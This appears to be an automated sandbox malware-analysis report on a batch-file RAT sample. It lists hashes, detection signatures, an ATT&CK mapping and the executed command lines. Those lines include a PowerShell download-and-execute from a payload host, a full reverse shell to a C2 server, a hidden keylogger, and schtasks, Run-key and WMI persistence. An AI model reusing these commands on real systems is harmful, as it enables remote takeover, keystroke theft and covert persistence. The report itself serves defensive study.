Analysis
- max time kernel
149s - max time network
121s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
29/05/2026, 01:48
Static task
static1
Behavioral task
behavioral1
Sample
rat_build_25452_014147.bat
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
rat_build_25452_014147.bat
Resource
win11-20260513-en
General
- Target rat_build_25452_014147.bat
- Size 4KB
- Sample260529-b781jsav2x
- SHA256 eedb846b4e94925375f1e30c861cd2d9405683b07b00e7e4127ce3b132f412b0
- MD5 9d1d7a454fa755c75b75cf4d8dfc3c0a
- SHA1 5ebfdbbb4d32cd036a998638a4e9e13cdfc4e1e7
- SHA512 727610137344ea3bd2671369e8d490d283095521178a4f121a9df126fe5d55baa467b3a3827823ed457f77a031883820fb5d6cc8c3bc4ba45ffae0b8c67ca915
- SSDEEP 96:CIQPWeKeti1bcDuIQVsvUkhsjumV8V9i4bVF8j56+gvanTk3iFgZk8mvlo1rCbf:CyeKyNiGMGigK56+tQ3iFgkHlQCbf
- TLSH T106A1EA13639B5120C5B46258DE32389843DCE6F71309CCCEFA8989C54A4CA8B896D6EB
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://payload.server/update_25452.ps1
Signatures
-
pid Process 3352 powershell.exe 2152 powershell.exe 4460 powershell.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1636999435-3883760687-346127294-1000\Software\Microsoft\Windows\CurrentVersion\Run\Updater_25452 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_25452.bat" reg.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 checkip.amazonaws.com - Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
pid Process 4360 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 4668 systeminfo.exe - Modifies registry key 1 TTPs 1 IoCs
pid Process 1376 reg.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2808 schtasks.exe - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 3352 powershell.exe 3352 powershell.exe 2152 powershell.exe 2152 powershell.exe 4460 powershell.exe 4460 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 4640 WMIC.exe Token: SeSecurityPrivilege 4640 WMIC.exe Token: SeTakeOwnershipPrivilege 4640 WMIC.exe Token: SeLoadDriverPrivilege 4640 WMIC.exe Token: SeSystemProfilePrivilege 4640 WMIC.exe Token: SeSystemtimePrivilege 4640 WMIC.exe Token: SeProfSingleProcessPrivilege 4640 WMIC.exe Token: SeIncBasePriorityPrivilege 4640 WMIC.exe Token: SeCreatePagefilePrivilege 4640 WMIC.exe Token: SeBackupPrivilege 4640 WMIC.exe Token: SeRestorePrivilege 4640 WMIC.exe Token: SeShutdownPrivilege 4640 WMIC.exe Token: SeDebugPrivilege 4640 WMIC.exe Token: SeSystemEnvironmentPrivilege 4640 WMIC.exe Token: SeRemoteShutdownPrivilege 4640 WMIC.exe Token: SeUndockPrivilege 4640 WMIC.exe Token: SeManageVolumePrivilege 4640 WMIC.exe Token: 33 4640 WMIC.exe Token: 34 4640 WMIC.exe Token: 35 4640 WMIC.exe Token: 36 4640 WMIC.exe Token: SeIncreaseQuotaPrivilege 4640 WMIC.exe Token: SeSecurityPrivilege 4640 WMIC.exe Token: SeTakeOwnershipPrivilege 4640 WMIC.exe Token: SeLoadDriverPrivilege 4640 WMIC.exe Token: SeSystemProfilePrivilege 4640 WMIC.exe Token: SeSystemtimePrivilege 4640 WMIC.exe Token: SeProfSingleProcessPrivilege 4640 WMIC.exe Token: SeIncBasePriorityPrivilege 4640 WMIC.exe Token: SeCreatePagefilePrivilege 4640 WMIC.exe Token: SeBackupPrivilege 4640 WMIC.exe Token: SeRestorePrivilege 4640 WMIC.exe Token: SeShutdownPrivilege 4640 WMIC.exe Token: SeDebugPrivilege 4640 WMIC.exe Token: SeSystemEnvironmentPrivilege 4640 WMIC.exe Token: SeRemoteShutdownPrivilege 4640 WMIC.exe Token: SeUndockPrivilege 4640 WMIC.exe Token: SeManageVolumePrivilege 4640 WMIC.exe Token: 33 4640 WMIC.exe Token: 34 4640 WMIC.exe Token: 35 4640 WMIC.exe Token: 36 4640 WMIC.exe Token: SeIncreaseQuotaPrivilege 2684 WMIC.exe Token: SeSecurityPrivilege 2684 WMIC.exe Token: SeTakeOwnershipPrivilege 2684 WMIC.exe Token: SeLoadDriverPrivilege 2684 WMIC.exe Token: SeSystemProfilePrivilege 2684 WMIC.exe Token: SeSystemtimePrivilege 2684 WMIC.exe Token: SeProfSingleProcessPrivilege 2684 WMIC.exe Token: SeIncBasePriorityPrivilege 2684 WMIC.exe Token: SeCreatePagefilePrivilege 2684 WMIC.exe Token: SeBackupPrivilege 2684 WMIC.exe Token: SeRestorePrivilege 2684 WMIC.exe Token: SeShutdownPrivilege 2684 WMIC.exe Token: SeDebugPrivilege 2684 WMIC.exe Token: SeSystemEnvironmentPrivilege 2684 WMIC.exe Token: SeRemoteShutdownPrivilege 2684 WMIC.exe Token: SeUndockPrivilege 2684 WMIC.exe Token: SeManageVolumePrivilege 2684 WMIC.exe Token: 33 2684 WMIC.exe Token: 34 2684 WMIC.exe Token: 35 2684 WMIC.exe Token: 36 2684 WMIC.exe Token: SeIncreaseQuotaPrivilege 2684 WMIC.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 4920 wrote to memory of 2808 4920 cmd.exe 81 PID 4920 wrote to memory of 1376 4920 cmd.exe 82 PID 4920 wrote to memory of 4640 4920 cmd.exe 83 PID 4920 wrote to memory of 2684 4920 cmd.exe 84 PID 4920 wrote to memory of 572 4920 cmd.exe 85 PID 4920 wrote to memory of 4668 4920 cmd.exe 87 PID 4920 wrote to memory of 4360 4920 cmd.exe 90 PID 4920 wrote to memory of 3352 4920 cmd.exe 91 PID 4920 wrote to memory of 2152 4920 cmd.exe 92 PID 4920 wrote to memory of 4460 4920 cmd.exe 93 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_25452_014147.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4920 -
C:\Windows\system32\schtasks.exeschtasks /create /tn "WinUpdate_25452" /tr "C:\Users\Admin\AppData\Local\Temp\_25452.bat" /sc onlogon /ru "SYSTEM" /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:2808
-
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_25452" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_25452.bat" /f2⤵
- Adds Run key to start application
- Modifies registry key
PID:1376
-
-
C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_25452", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4640
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C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_25452", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_25452.bat"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2684
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C:\Windows\system32\curl.execurl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_25452.txt2⤵PID:572
-
-
C:\Windows\system32\systeminfo.exesysteminfo2⤵
- Gathers system information
PID:4668
-
-
C:\Windows\system32\NETSTAT.EXEnetstat -an2⤵
- Gathers network information
PID:4360
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_25452.ps1'))"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3352
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-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2152
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-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4460
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
- MD5 5f4c933102a824f41e258078e34165a7
- SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
- SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
- TLSH T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 a2f2f0033d120152c7f43db61e5867c538be686267424e37ebf1f81c2108c41f
- MD5 efbdcb1e96c21b1fa3a8ee282decfaa7
- SHA1 4b29742350c7851853767013e11d09fb954063ac
- SHA512 8e88e8ff7da00f85b2f2840a94eca8f75f425c8058a6cc86a1681784e5b0370369560a04320dc747602e3fefed9b5af750afef52bcc137944999c1c4f5e8a808
- TLSH T104117A33B79CC175C8E9117A108DAD01B1B5C3DB049EDE8B7A84C508E57F58ADBA41E4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 92d5a76ed593d1450f8f5309d806ef2ec37be8839f1e0e20763e75180345feac
- MD5 a766b59cb8764029e0daa42ff2d21c3f
- SHA1 9ca2e4735a93ab8ddf2d8e6928f1c570aa4ff80b
- SHA512 e92fe19a450bc93cfcbaed70586d580470d239cd41997e0bdebdb45f1b6ba02604b4e839ab6ee40d5112ba683c647ecd10751183ab2f89226994e17680c52eae
- TLSH T1DA117A33B79CC135C8D9157A108DAD01B2B5C3CB049EDE8B7A84C509E57F58ADB641E4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nxjyceyh.t0j.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH